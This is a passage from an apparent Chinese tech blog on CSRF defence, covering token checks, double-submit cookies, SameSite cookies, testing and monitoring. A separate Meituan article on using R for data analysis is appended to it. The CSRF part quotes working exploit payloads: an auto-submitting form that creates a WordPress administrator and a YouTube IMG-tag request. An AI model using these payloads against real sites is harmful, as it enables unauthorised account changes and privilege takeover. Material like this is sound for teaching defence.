下面将以Java为例,介绍一些CSRF Token的服务端校验逻辑,代码如下:

HttpServletRequest req = (HttpServletRequest)request; 
HttpSession s = req.getSession(); 
// 从 session 中得到 csrftoken 属性
String sToken = (String)s.getAttribute(“csrftoken”); 
if(sToken == null){ 
 // 产生新的 token 放入 session 中
 sToken = generateToken(); 
 s.setAttribute(“csrftoken”,sToken); 
 chain.doFilter(request, response); 
} else{ 
 // 从 HTTP 头中取得 csrftoken 
 String xhrToken = req.getHeader(“csrftoken”); 
 // 从请求参数中取得 csrftoken 
 String pToken = req.getParameter(“csrftoken”); 
 if(sToken != null && xhrToken != null && sToken.equals(xhrToken)){ 
 chain.doFilter(request, response); 
 }else if(sToken != null && pToken != null && sToken.equals(pToken)){ 
 chain.doFilter(request, response); 
 }else{ 
 request.getRequestDispatcher(“error.jsp”).forward(request,response); 
 } 
}

代码源自:IBM developerworks CSRF

这个Token的值必须是随机生成的,这样它就不会被攻击者猜到,考虑利用Java应用程序的java.security.SecureRandom类来生成足够长的随机标记,替代生成算法包括使用256位BASE64编码哈希,选择这种生成算法的开发人员必须确保在散列数据中使用随机性和唯一性来生成随机标识。通常,开发人员只需为当前会话生成一次Token。在初始生成此Token之后,该值将存储在会话中,并用于每个后续请求,直到会话过期。当最终用户发出请求时,服务器端必须验证请求中Token的存在性和有效性,与会话中找到的Token相比较。如果在请求中找不到Token,或者提供的值与会话中的值不匹配,则应中止请求,应重置Token并将事件记录为正在进行的潜在CSRF攻击。

分布式校验

在大型网站中,使用Session存储CSRF Token会带来很大的压力。访问单台服务器session是同一个。但是现在的大型网站中,我们的服务器通常不止一台,可能是几十台甚至几百台之多,甚至多个机房都可能在不同的省份,用户发起的HTTP请求通常要经过像Ngnix之类的负载均衡器之后,再路由到具体的服务器上,由于Session默认存储在单机服务器内存中,因此在分布式环境下同一个用户发送的多次HTTP请求可能会先后落到不同的服务器上,导致后面发起的HTTP请求无法拿到之前的HTTP请求存储在服务器中的Session数据,从而使得Session机制在分布式环境下失效,因此在分布式集群中CSRF Token需要存储在Redis之类的公共存储空间。

由于使用Session存储,读取和验证CSRF Token会引起比较大的复杂度和性能问题,目前很多网站采用Encrypted Token Pattern方式。这种方法的Token是一个计算出来的结果,而非随机生成的字符串。这样在校验时无需再去读取存储的Token,只用再次计算一次即可。

这种Token的值通常是使用UserID、时间戳和随机数,通过加密的方法生成。这样既可以保证分布式服务的Token一致,又能保证Token不容易被破解。

在token解密成功之后,服务器可以访问解析值,Token中包含的UserID和时间戳将会被拿来被验证有效性,将UserID与当前登录的UserID进行比较,并将时间戳与当前时间进行比较。

总结

Token是一个比较有效的CSRF防护方法,只要页面没有XSS漏洞泄露Token,那么接口的CSRF攻击就无法成功。

但是此方法的实现比较复杂,需要给每一个页面都写入Token(前端无法使用纯静态页面),每一个Form及Ajax请求都携带这个Token,后端对每一个接口都进行校验,并保证页面Token及请求Token一致。这就使得这个防护策略不能在通用的拦截上统一拦截处理,而需要每一个页面和接口都添加对应的输出和校验。这种方法工作量巨大,且有可能遗漏。

验证码和密码其实也可以起到CSRF Token的作用哦,而且更安全。

为什么很多银行等网站会要求已经登录的用户在转账时再次输入密码,现在是不是有一定道理了?

双重Cookie验证

在会话中存储CSRF Token比较繁琐,而且不能在通用的拦截上统一处理所有的接口。

那么另一种防御措施是使用双重提交Cookie。利用CSRF攻击不能获取到用户Cookie的特点,我们可以要求Ajax和表单请求携带一个Cookie中的值。

双重Cookie采用以下流程:

  • 在用户访问网站页面时,向请求域名注入一个Cookie,内容为随机字符串(例如csrfcookie=v8g9e4ksfhw)。
  • 在前端向后端发起请求时,取出Cookie,并添加到URL的参数中(接上例POST https://www.a.com/comment?csrfcookie=v8g9e4ksfhw)。
  • 后端接口验证Cookie中的字段与URL参数中的字段是否一致,不一致则拒绝。

此方法相对于CSRF Token就简单了许多。可以直接通过前后端拦截的的方法自动化实现。后端校验也更加方便,只需进行请求中字段的对比,而不需要再进行查询和存储Token。

当然,此方法并没有大规模应用,其在大型网站上的安全性还是没有CSRF Token高,原因我们举例进行说明。

由于任何跨域都会导致前端无法获取Cookie中的字段(包括子域名之间),于是发生了如下情况:

  • 如果用户访问的网站为www.a.com,而后端的api域名为api.a.com。那么在www.a.com下,前端拿不到api.a.com的Cookie,也就无法完成双重Cookie认证。
  • 于是这个认证Cookie必须被种在a.com下,这样每个子域都可以访问。
  • 任何一个子域都可以修改a.com下的Cookie。
  • 某个子域名存在漏洞被XSS攻击(例如upload.a.com)。虽然这个子域下并没有什么值得窃取的信息。但攻击者修改了a.com下的Cookie。
  • 攻击者可以直接使用自己配置的Cookie,对XSS中招的用户再向www.a.com下,发起CSRF攻击。

总结

用双重Cookie防御CSRF的优点:

  • 无需使用Session,适用面更广,易于实施。
  • Token储存于客户端中,不会给服务器带来压力。
  • 相对于Token,实施成本更低,可以在前后端统一拦截校验,而不需要一个个接口和页面添加。

缺点

  • Cookie中增加了额外的字段。
  • 如果有其他漏洞(例如XSS),攻击者可以注入Cookie,那么该防御方式失效。
  • 难以做到子域名的隔离。
  • 为了确保Cookie传输安全,采用这种防御方式的最好确保用整站HTTPS的方式,如果还没切HTTPS的使用这种方式也会有风险。

Samesite Cookie属性

防止CSRF攻击的办法已经有上面的预防措施。为了从源头上解决这个问题,Google起草了一份草案来改进HTTP协议,那就是为Set-Cookie响应头新增Samesite属性,它用来标明这个 Cookie是个“同站 Cookie”,同站Cookie只能作为第一方Cookie,不能作为第三方Cookie,Samesite 有两个属性值,分别是 Strict 和 Lax,下面分别讲解:

Samesite=Strict

这种称为严格模式,表明这个 Cookie 在任何情况下都不可能作为第三方 Cookie,绝无例外。比如说 b.com 设置了如下 Cookie:

Set-Cookie: foo=1; Samesite=Strict
Set-Cookie: bar=2; Samesite=Lax
Set-Cookie: baz=3

我们在 a.com 下发起对 b.com 的任意请求,foo 这个 Cookie 都不会被包含在 Cookie 请求头中,但 bar 会。举个实际的例子就是,假如淘宝网站用来识别用户登录与否的 Cookie 被设置成了 Samesite=Strict,那么用户从百度搜索页面甚至天猫页面的链接点击进入淘宝后,淘宝都不会是登录状态,因为淘宝的服务器不会接受到那个 Cookie,其它网站发起的对淘宝的任意请求都不会带上那个 Cookie。

Samesite=Lax

这种称为宽松模式,比 Strict 放宽了点限制:假如这个请求是这种请求(改变了当前页面或者打开了新页面)且同时是个GET请求,则这个Cookie可以作为第三方Cookie。比如说 b.com设置了如下Cookie:

Set-Cookie: foo=1; Samesite=Strict
Set-Cookie: bar=2; Samesite=Lax
Set-Cookie: baz=3

当用户从 a.com 点击链接进入 b.com 时,foo 这个 Cookie 不会被包含在 Cookie 请求头中,但 bar 和 baz 会,也就是说用户在不同网站之间通过链接跳转是不受影响了。但假如这个请求是从 a.com 发起的对 b.com 的异步请求,或者页面跳转是通过表单的 post 提交触发的,则bar也不会发送。

生成Token放到Cookie中并且设置Cookie的Samesite,Java代码如下:

 private void addTokenCookieAndHeader(HttpServletRequest httpRequest, HttpServletResponse httpResponse) {
 //生成token
 String sToken = this.generateToken();
 //手动添加Cookie实现支持“Samesite=strict”
 //Cookie添加双重验证
 String CookieSpec = String.format("%s=%s; Path=%s; HttpOnly; Samesite=Strict", this.determineCookieName(httpRequest), sToken, httpRequest.getRequestURI());
 httpResponse.addHeader("Set-Cookie", CookieSpec);
 httpResponse.setHeader(CSRF_TOKEN_NAME, token);
 }

代码源自OWASP Cross-Site_Request_Forgery #Implementation example

我们应该如何使用SamesiteCookie

如果SamesiteCookie被设置为Strict,浏览器在任何跨域请求中都不会携带Cookie,新标签重新打开也不携带,所以说CSRF攻击基本没有机会。

但是跳转子域名或者是新标签重新打开刚登陆的网站,之前的Cookie都不会存在。尤其是有登录的网站,那么我们新打开一个标签进入,或者跳转到子域名的网站,都需要重新登录。对于用户来讲,可能体验不会很好。

如果SamesiteCookie被设置为Lax,那么其他网站通过页面跳转过来的时候可以使用Cookie,可以保障外域连接打开页面时用户的登录状态。但相应的,其安全性也比较低。

另外一个问题是Samesite的兼容性不是很好,现阶段除了从新版Chrome和Firefox支持以外,Safari以及iOS Safari都还不支持,现阶段看来暂时还不能普及。

而且,SamesiteCookie目前有一个致命的缺陷:不支持子域。例如,种在topic.a.com下的Cookie,并不能使用a.com下种植的SamesiteCookie。这就导致了当我们网站有多个子域名时,不能使用SamesiteCookie在主域名存储用户登录信息。每个子域名都需要用户重新登录一次。

总之,SamesiteCookie是一个可能替代同源验证的方案,但目前还并不成熟,其应用场景有待观望。

防止网站被利用

前面所说的,都是被攻击的网站如何做好防护。而非防止攻击的发生,CSRF的攻击可以来自:

  • 攻击者自己的网站。
  • 有文件上传漏洞的网站。
  • 第三方论坛等用户内容。
  • 被攻击网站自己的评论功能等。

对于来自黑客自己的网站,我们无法防护。但对其他情况,那么如何防止自己的网站被利用成为攻击的源头呢?

  • 严格管理所有的上传接口,防止任何预期之外的上传内容(例如HTML)。
  • 添加Header X-Content-Type-Options: nosniff 防止黑客上传HTML内容的资源(例如图片)被解析为网页。
  • 对于用户上传的图片,进行转存或者校验。不要直接使用用户填写的图片链接。
  • 当前用户打开其他用户填写的链接时,需告知风险(这也是很多论坛不允许直接在内容中发布外域链接的原因之一,不仅仅是为了用户留存,也有安全考虑)。

CSRF其他防范措施

对于一线的程序员同学,我们可以通过各种防护策略来防御CSRF,对于QA、SRE、安全负责人等同学,我们可以做哪些事情来提升安全性呢?

CSRF测试

CSRFTester是一款CSRF漏洞的测试工具,CSRFTester工具的测试原理大概是这样的,使用代理抓取我们在浏览器中访问过的所有的连接以及所有的表单等信息,通过在CSRFTester中修改相应的表单等信息,重新提交,相当于一次伪造客户端请求,如果修改后的测试请求成功被网站服务器接受,则说明存在CSRF漏洞,当然此款工具也可以被用来进行CSRF攻击。

CSRFTester使用方法大致分下面几个步骤:

  • 步骤1:设置浏览器代理

CSRFTester默认使用Localhost上的端口8008作为其代理,如果代理配置成功,CSRFTester将为您的浏览器生成的所有后续HTTP请求生成调试消息。

  • 步骤2:使用合法账户访问网站开始测试

我们需要找到一个我们想要为CSRF测试的特定业务Web页面。找到此页面后,选择CSRFTester中的“开始录制”按钮并执行业务功能;完成后,点击CSRFTester中的“停止录制”按钮;正常情况下,该软件会全部遍历一遍当前页面的所有请求。

  • 步骤3:通过CSRF修改并伪造请求

之后,我们会发现软件上有一系列跑出来的记录请求,这些都是我们的浏览器在执行业务功能时生成的所有GET或者POST请求。通过选择列表中的某一行,我们现在可以修改用于执行业务功能的参数,可以通过点击对应的请求修改query和form的参数。当修改完所有我们希望诱导用户form最终的提交值,可以选择开始生成HTML报告。

  • 步骤4:拿到结果如有漏洞进行修复

首先必须选择“报告类型”。报告类型决定了我们希望受害者浏览器如何提交先前记录的请求。目前有5种可能的报告:表单、iFrame、IMG、XHR和链接。一旦选择了报告类型,我们可以选择在浏览器中启动新生成的报告,最后根据报告的情况进行对应的排查和修复。

CSRF监控

对于一个比较复杂的网站系统,某些项目、页面、接口漏掉了CSRF防护措施是很可能的。

一旦发生了CSRF攻击,我们如何及时的发现这些攻击呢?

CSRF攻击有着比较明显的特征:

  • 跨域请求。
  • GET类型请求Header的MIME类型大概率为图片,而实际返回Header的MIME类型为Text、JSON、HTML。

我们可以在网站的代理层监控所有的接口请求,如果请求符合上面的特征,就可以认为请求有CSRF攻击嫌疑。我们可以提醒对应的页面和项目负责人,检查或者 Review其CSRF防护策略。

个人用户CSRF安全的建议

经常上网的个人用户,可以采用以下方法来保护自己:

  • 使用网页版邮件的浏览邮件或者新闻也会带来额外的风险,因为查看邮件或者新闻消息有可能导致恶意代码的攻击。
  • 尽量不要打开可疑的链接,一定要打开时,使用不常用的浏览器。

总结

简单总结一下上文的防护策略:

  • CSRF自动防御策略:同源检测(Origin 和 Referer 验证)。
  • CSRF主动防御措施:Token验证 或者 双重Cookie验证 以及配合Samesite Cookie。
  • 保证页面的幂等性,后端接口不要在GET页面中做用户操作。

为了更好的防御CSRF,最佳实践应该是结合上面总结的防御措施方式中的优缺点来综合考虑,结合当前Web应用程序自身的情况做合适的选择,才能更好的预防CSRF的发生。

历史案例

WordPress的CSRF漏洞

2012年3月份,WordPress发现了一个CSRF漏洞,影响了WordPress 3.3.1版本,WordPress是众所周知的博客平台,该漏洞可以允许攻击者修改某个Post的标题,添加管理权限用户以及操作用户账户,包括但不限于删除评论、修改头像等等。具体的列表如下:

  • Add Admin/User
  • Delete Admin/User
  • Approve comment
  • Unapprove comment
  • Delete comment
  • Change background image
  • Insert custom header image
  • Change site title
  • Change administrator's email
  • Change Wordpress Address
  • Change Site Address

那么这个漏洞实际上就是攻击者引导用户先进入目标的WordPress,然后点击其钓鱼站点上的某个按钮,该按钮实际上是表单提交按钮,其会触发表单的提交工作,添加某个具有管理员权限的用户,实现的码如下:

<html> 
<body onload="javascript:document.forms[0].submit()"> 
<H2>CSRF Exploit to add Administrator</H2> 
<form method="POST" name="form0" action="http://<wordpress_ip>:80/wp-admin/user-new.php"> 
<input type="hidden" name="action" value="createuser"/> 
<input type="hidden" name="_wpnonce_create-user" value="<sniffed_value>"/> 
<input type="hidden" name="_wp_http_referer" value="%2Fwordpress%2Fwp-admin%2Fuser-new.php"/> 
<input type="hidden" name="user_login" value="admin2"/> 
<input type="hidden" name="email" value="admin2@admin.com"/> 
<input type="hidden" name="first_name" value="admin2@admin.com"/> 
<input type="hidden" name="last_name" value=""/> 
<input type="hidden" name="url" value=""/> 
<input type="hidden" name="pass1" value="password"/> 
<input type="hidden" name="pass2" value="password"/> 
<input type="hidden" name="role" value="administrator"/> 
<input type="hidden" name="createuser" value="Add+New+User+"/> 
</form> 
</body> 
</html> 

YouTube的CSRF漏洞

2008年,有安全研究人员发现,YouTube上几乎所有用户可以操作的动作都存在CSRF漏洞。如果攻击者已经将视频添加到用户的“Favorites”,那么他就能将他自己添加到用户的“Friend”或者“Family”列表,以用户的身份发送任意的消息,将视频标记为不宜的,自动通过用户的联系人来共享一个视频。例如,要把视频添加到用户的“Favorites”,攻击者只需在任何站点上嵌入如下所示的IMG标签:

<img src="http://youtube.com/watch_ajax?action_add_favorite_playlist=1&video_
id=[VIDEO ID]&playlist_id=&add_to_favorite=1&show=1&button=AddvideoasFavorite"/>

攻击者也许已经利用了该漏洞来提高视频的流行度。例如,将一个视频添加到足够多用户的“Favorites”,YouTube就会把该视频作为“Top Favorites”来显示。除提高一个视频的流行度之外,攻击者还可以导致用户在毫不知情的情况下将一个视频标记为“不宜的”,从而导致YouTube删除该视频。

这些攻击还可能已被用于侵犯用户隐私。YouTube允许用户只让朋友或亲属观看某些视频。这些攻击会导致攻击者将其添加为一个用户的“Friend”或“Family”列表,这样他们就能够访问所有原本只限于好友和亲属表中的用户观看的私人的视频。

攻击者还可以通过用户的所有联系人名单(“Friends”、“Family”等等)来共享一个视频,“共享”就意味着发送一个视频的链接给他们,当然还可以选择附加消息。这条消息中的链接已经并不是真正意义上的视频链接,而是一个具有攻击性的网站链接,用户很有可能会点击这个链接,这便使得该种攻击能够进行病毒式的传播。

参考文献

  • Mozilla wiki. Security-Origin.
  • OWASP. Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet.
  • Gmail Security Hijack Case. Google-Gmail-Security-Hijack.
  • Netsparker Blog. Same-Site-Cookie-Attribute-Prevent-Cross-site-Request-Forgery.
  • MDN. Same-origin_policy#IE_Exceptions.

下期预告

前端安全系列文章将对XSS、CSRF、网络劫持、Hybrid安全等安全议题展开论述。下期我们要讨论的是网络劫持,敬请期待。

作者简介

刘烨,美团点评前端开发工程师,负责外卖用户端前端业务。

欢迎加入美团前端安全技术交流群,跟作者零距离交流。如想进群,请加美美同学的微信(微信号:MTDPtech01),回复:前端安全,美美会自动拉你进群。

近年来,随着分布式数据处理技术的不断革新,Hive、Spark、Kylin、Impala、Presto 等工具不断推陈出新,对大数据集合的计算和存储成为现实,数据仓库/商业分析部门日益成为各类企业和机构的标配。在这种背景下,是否能探索和挖掘数据价值,具备精细化数据运营的能力,就成为判定一个数据团队成功与否的关键。

在数据从后台走向前台的过程中,数据展示是最后一步关键环节。与冰冷的表格展示相比,将数据转化成图表并进行适当的内容组织,往往能更快速、更直观的传递信息,进而更好的提供决策支持。从结构化数据到最终的展示,需要通过一系列的探索和分析过程去完成产品思路的沉淀,这个过程也伴随着大量的数据二次处理。

上述这些场合 R 语言有着独特的优势。本文将基于美团到店餐饮技术部的精细化数据运营实践,介绍 R 在数据分析与可视化方面的工程能力,希望能够抛砖引玉,也欢迎业界同行给我们提供更多的建议。

数据运营产品分类与 R 的优势

数据运营产品分类

在企业数据运营过程中,考虑使用场景、产品特点、实施角色以及可利用的工具,大致可以将数据运营需求分为四类,如下表所示:

表一 数据运营需求分类

R 在数据运营上的优势

如上节所述,在精细化数据运营过程中,经常需要使用高度定制的数据处理、可视化、分析等手段,这些过程 Excel、Tableau、企业级报表工具都无法面面俱到,而恰好是 R 的强项。一般来说,R 具备的如下特征,让其有了“数据分析领域的瑞士军刀”的名号:

  • 免费、开源、可扩展:截至到 2018-08-02,“The CRAN package repository features 12858 available packages. ”,CRAN 上的软件包涉及贝叶斯分析、运筹学、金融、基因分析、遗传学等方方面面,并在持续新增和迭代。
  • 可编程:R 本身是一门解释型语言,可以通过代码控制执行过程,并能通过 rPython、rJava 等软件包实现和 Python、Java 语言的互相调用。
  • 强大的数据操控能力:
  • 数据源接入:通过 RMySQL、SparkR、elastic 等软件包,可以实现从 MySQL、Spark、Elasticsearch 等外部数据引擎获取数据。
  • 数据处理:内置 vector、list、matrix、data.frame 等数据结构,并能通过 sqldf、tidyr、dplyr、reshape2 等软件包实现对数据的二次加工。
  • 数据可视化:ggplot2、Plotly、dygraph 等可视化包可以实现高度定制化的图表渲染。
  • 数据分析与挖掘:R 本身是一门由统计学家发起的面向统计分析的语言,通过自行编程实现或者第三方软件包调用,可以轻松实现线性回归、方差分析、主成分分析等分析与挖掘功能。
  • 初具雏形的服务框架:
  • Web 编程框架:例如不精通前端和系统开发的同学,通过 shiny 软件包开发自己的数据应用。
  • 服务化能力:例如通过 rserve 包,可以实现 R 和其他语言通信的 C/S 架构服务。

对于以数据为中心的应用来说,Python 和 R 都是不错的选择,两门语言在发展过程中也互有借鉴。“越接近统计研究与数据分析,越倾向 R;越接近工程开发工程环境的人,越倾向 Python”,Python 是一个全能型“运动员”,R 则更像是一个统计分析领域的“剑客”,“Python 并未建立起一个能与 CRAN 媲美的巨大的代码库,R 在这方面具有绝对领先优势。统计学并不是 Python 的核心使命”。各技术网站上有大量“Python VS R ”的讨论,感兴趣的读者可以自行了解和作出选择。

R 的数据处理、可视化、可重复性数据分析能力

对于具备编程能力的分析师或者具备分析能力的开发人员来说,在进行一系列长期的数据分析工程时,使用 R 既可以满足“一次开发,终身受用”,又可以满足“调整灵活,图形丰富”的要求。下文将分别介绍 R 的数据处理能力、可视化能力和可重复性数据分析能力。

数据处理

在企业级数据系统中,数据清洗、计算和整合工作会通过数据仓库、Hive、Spark、Kylin 等工具完成。对于数据运营项目,虽然 R 操作的是结果数据集,但也不能避免需要在查询层进行二次数据处理。

在数据查询层,R 生态现成就存在众多的组件支持,例如可以通过 RMySQL 包进行 MySQL 库表的查询,可以使用 Elastic 包对 Elasticsearch 索引文档进行搜索。对于 Kylin 等新技术,在 R 生态的组件支持没有跟上时,可以通过使用 Python、Java 等系统语言进行查询接口封装,在 R 内部使用 rPython、rJava 组件进行第三方查询接口调用。通过查询组件获取的数据一般以 data.frame、list 等类型对象存在。

另外 R 本身也拥有比较完备的二次数据处理能力。例如可以通过 sqldf 使用 sql 对 data.frame 对象进行数据处理,可以使用 reshape2 进行宽格式和窄格式的转化,可以使用 stringr 完成各种字符串处理,其他如排序、分组处理、缺失值填充等功能,也都具备完善的语言本身和生态的支持。

数据可视化

数据可视化是数据探索过程和结果呈现的关键环节,而 “R is a free software environment for statistical computing and graphics. ”,绘图(可视化)系统也是 R 的最大优势之一。

目前 R 主流支持的有三套可视化系统:

  • 内置系统:包括有 base、grid 和 lattice 三个内置发行包,支持以相对比较朴素的方式完成图形绘制。
  • ggplot2:由 RStudio 的首席科学家 Hadley Wickham 开发,ggplot2 通过一套图形语法支持,支持通过图层叠加以组合的方式支持高度定制的可视化。这一理念也逐步影响了包括 Plotly、阿里 AntV 等国内外数据可视化解决方案。截至到 2018-08-02,CRAN 已经落地了 40 个 ggplot2 扩展包,参考链接。
  • htmlwidgets for R:这一系统是在 RStudio 支持下于 2016 年开始逐步发展壮大,提供基于 JavaScript 可视化的 R 接口。htmlwidgets for R 作为前端可视化(for 前端工程师)和数据分析可视化(for 数据工程师)的桥梁,发挥了两套技术领域之间的组合优势。截至到 2018-08-02,经过两年多的发展,目前 CRAN 上已经有 101 个基于 htmlwidgets 开发的第三方包,参考链接。

实际数据运营分析过程中,可以固化常规的图表展现和可视化分析过程,实现代码复用,提高开发效率。下图是美团到店餐饮技术部数据团队积累的部分可视化组件示例:

基于可视化组件库,一个可视化过程只需要一行代码即可完成,能极大提升开发效率。上图中最后的四象限矩阵分析示例图的代码如下:

vis_4quadrant(iris, 'Sepal.Length', 'Petal.Length', label = 'Species', tooltip = 'tooltip', title = '', xtitle = '萼片长度', ytitle = '花瓣长度', pointSize = 1, annotationSize = 1)

茲再附四象限矩阵分析可视化组件的函数声明:

vis_4quadrant <- function(df, x, y,

label = '', tooltip = '', title = '', xtitle = '', ytitle = '',

showLegend = T, jitter = T, centerType = 'mean',

pointShape = 19, pointSize = 5, pointColors = collocatcolors2,

lineSize = 0.4, lineType = 'dashed', lineColor = 'black',

annotationFace = 'sans serif', annotationSize = 5, annotationColor = 'black', annotationDeviationRatio = 15,

gridAnnotationFace = 'sans serif', gridAnnotationSize = 6, gridAnnotationColor = 'black', gridAnnotationAlpha = 0.6,

titleFace = 'sans serif', titleSize = 12, titleColor = 'black',

xyTitleFace = 'sans serif', xyTitleSize = 8, xyTitleColor = 'black',

gridDesc = c('A 区', 'B 区', 'C 区', 'D 区'), dataMissingInfo = '数据不完整', renderType = 'widget') {

# 绘制分组散点图

#

# Args:

# df: 数据框;必要字段;需要进行图形绘制的数据,至少应该有三列

# x: 字符串;必要字段;映射到 X 轴的列名,对应 df 的某一列,此列必须是数值类型或日期类型

# y: 字符串;必要字段;映射到 Y 轴的列名,对应 df 的某一列

# label: 字符串;映射到点上的文字注释

# tooltip: 字符串;映射到点上的悬浮信息

# title: 字符串;标题

# xtitle: 字符串;X 轴标题

# ytitle: 字符串;Y 轴标题

# showLegend: bool;定义分区图例是否展示

# jitter: bool;定义是否扰动

# centerType: 字符串;定义中心点类型,mean 代表平均值,median 代表中位数

# pointShape: 整形;定义点型

# pointSize: 数值;定义点大小

# lineSize: 数值;定义线宽

# lineType: 字符串;定义线型

# lineColor: 字符串;定义线色

# annotationFace: 字符串;定义注释字体

# annotationSize: 数值;定义注释字体大小

# annotationColor: 字符串;定义注释字体颜色

# annotationDeviationRatio: 数值;定义注释文本向上偏移系数

# gridAnnotationFace: 字符串;定义网格注释字体

# gridAnnotationSize: 数值;定义网格注释字体大小

# gridAnnotationColor: 字符串;定义网格注释字体颜色

# gridAnnotationAlpha: 数值;定义网格注释文本透明度

# titleFace: 字符串;定义标题字体

# titleSize: 数值;定义标题字体大小

# titleColor: 字符串;定义标题字体颜色

# xyTitleFace: 字符串;定义 X、Y 轴标题字体

# xyTitleSize: 数值;定义 X、Y 轴标题字体大小

# xyTitleColor: 字符串;定义 X、Y 轴标题字体颜色

# gridDesc: 长度为 4 的字符串向量

# dataMissingInfo: 字符串;数据问题提示文本

# renderType: 字符串;定义渲染结果类型,widget 对应 htmlwidget 组件,html 对应 html 内容

# 代码实现略

}

可重复性数据分析

数据运营分析往往是一个重复性的、重人工参与的过程,最终会落地一套数据分析框架,这套数据分析框架适配具体的数据,用于支持企业数据决策。

RStudio 通过 rmarkdown + knitr 的方式提供了一套基于文学编程的数据分析报告产出方案,开发者可以将 R 代码嵌入 Markdown 文档中执行并得到渲染结果(渲染结果可以是 HTML、PDF、Word 文档格式),实际数据分析过程中,开发者最终能形成一套数据分析模版,每次适配不同的数据,就能产出一份新的数据分析报告。

rmarkdown 本身具备简单的页面布局能力并可以使用 flexdashboard 进行扩展,因此这套方案不仅能实现重复性分析过程,还能实现分析结果的高度定制化展示,可以使用 HTML、CSS、JavaScript 前端三大件对数据分析报告进行展示和交互的细节调整。最终实现人力的节省和数据分析结果的快速、高效产出。

R 服务化改造

R 服务化框架

R 本身既是一门语言、也是一个跨平台的操作环境,具备强大的数据处理、数据分析、和数据可视化能力。除了在个人电脑的 Windows/MacOS 环境中上充当个人统计分析工具外,也可以运行在 Linux 服务环境中,因此可以将 R 作为分析展现引擎,外围通过 Java 等系统开发语言完成缓存、安全检查、权限控制等功能,开发企业报表系统或数据分析(挖掘)框架,而不仅仅只是将 R 作为一个桌面软件。

企业报表系统或数据分析(挖掘)框架设计方案如下图所示:

foreach + doParallel 多核并行方案

作为一门统计学家开发的解释性语言,R 运行的是 CPU 单核上的单线程程序、并且需要将全部数据加载到内存进行处理,因此和 Java、Python 等系统语言相比,计算性能是 R 的软肋。对于大数据集合的计算场景,需要尽量将数据计算部分通过 Hive、Kylin 等分布式计算引擎完成,尽量让 R 只处理结果数据集;另外也可以通过 doParallel + foreach 方案,通过多核并行提升计算效率,代码示例如下:

library(doParallel)

library(foreach)

registerDoParallel(cores = detectCores())

vis_process1 <- function() {

# 可视化过程1 ...

}

vis_process2 <- function() {

# 可视化过程2 ...

}

data_process1 <- function() {

# 数据处理过程1 ...

}

data_process2 <- function() {

# 数据处理过程2 ...

}

processes <- c('vis_process1', 'vis_process2', 'data_process1', 'data_process2')

process_res <- foreach(i = 1:length(process), .packages = c('magrittr')) %dopar% {

do.call(processes[i], list())

}

vis_process1_res <- process_res[[1]]

vis_process2_res <- process_res[[2]]

data_process1_res <- process_res[[3]]

data_process2_res <- process_res[[4]]

图形化数据报告渲染性能

在数据分析过程中,R 最重要的是充当图形引擎的角色,因此有必要了解其图形渲染性能。针对主流的基于 rmarkdown + flexdashboard 的数据分析报告渲染方案,其性能测试结果如下:

系统环境

  • 4 核 CPU,8 G 内存,2.20GHz 主频
  • Linux version 3.10.0-123.el7.x86_64

测试方法

  • 测试在不同并发度下、不同复杂度的渲染模式下,重复渲染 100 次的耗时。

测试结果

表二 数据分析报告渲染性能测试

根据测试结果可知:

  • 单应用平均渲染时长在 0.74s 以上,具体的渲染时长视计算复杂度而定(可以通过上节介绍的“foreach + doParallel 多核并行方案 ”加快处理过程)。根据经验,大部分应用能在秒级完成渲染。
  • 由于单核单线程模式所限,当并发请求超过 CPU 核数时,渲染吞吐量并不会相应提升。需要根据实际业务场景匹配对应的服务端机器配置,并在请求转发时设置并发执行上限。对于内部运营性质的数据系统,单台 4 核 8 G 机器基本能满足要求。

R 在美团数据产品中的落地实践

美团到店餐饮数据团队从 2015 年开始逐步将 R 作为数据产品的辅助开发语言,截至 2018 年 8 月,已经成功应用在面向管理层的日周月数据报告、面向数据仓库治理的分析工具、面向内部运营与分析师的数据 Dashboard、面向大客户销售的品牌商家数据分析系统等多个项目中。目前所有的面向部门内部的定制式分析型产品,都首选使用 R 进行开发。

另外我们也在逐步沉淀 R 可视化与分析组件、开发基于 R 引擎的配置化 BI 产品开发框架,以期进一步降低 R 的使用门槛、提升 R 的普及范围。

下图是美团到店餐饮数据团队在数据治理过程中,使用 R 开发的 ETL 间依赖关系可视化工具:

结语

综上所述,R 可以在企业数据运营实践中扮演关键技术杠杆,但作为一门面向统计分析的领域语言,在很长一段时间,R 的发展主要由统计学家驱动。随着近年的数据爆发式增长与应用浪潮,R 得到越来越多工业界的支持,譬如微软收购基于 R 的企业级数据解决方案提供商 Revolution Analytics、在 SQL Server 2016 集成 R、并从 Visual Studio 2015 开始正式通过 RTVS 集成了 R 开发环境,一系列事件标志着微软在数据分析领域对 R 的高度重视。

在国内,由统计之都发起的中国 R 会议,从 2008 年起已举办了 11 届,推动了 R 用户在国内的发展壮大。截至 2018 年 8 月,美团的 R 开发者大致在 200 人左右。但相比 Java/Python 等系统语言,R 的用户和应用面仍相对狭窄。

作者撰写本文的目的,也是希望给从事数据相关工作的同学们一个新的、更具优势的可选项。

作者简介

喻灿,美团到店餐饮技术部数据系统与数据产品团队负责人,2015 年加入美团,长期从事数据平台、数据仓库、数据应用方面的开发工作。从 2013 年开始接触 R,在利用 R 快速满足业务需求和节省研发成本上,有一些心得和产出。同时也在美团研发和商业分析团队中积极推动 R 的发展。

招聘信息

对数据工程和将数据通过服务业务释放价值感兴趣的同学,可以发送简历到 yucan@meituan.com。我们在数据仓库、数据治理、数据产品开发框架、数据可视化、面向销售和商家侧的数据型创新产品层面,都有很多未知但有意义的领域等你来开拓。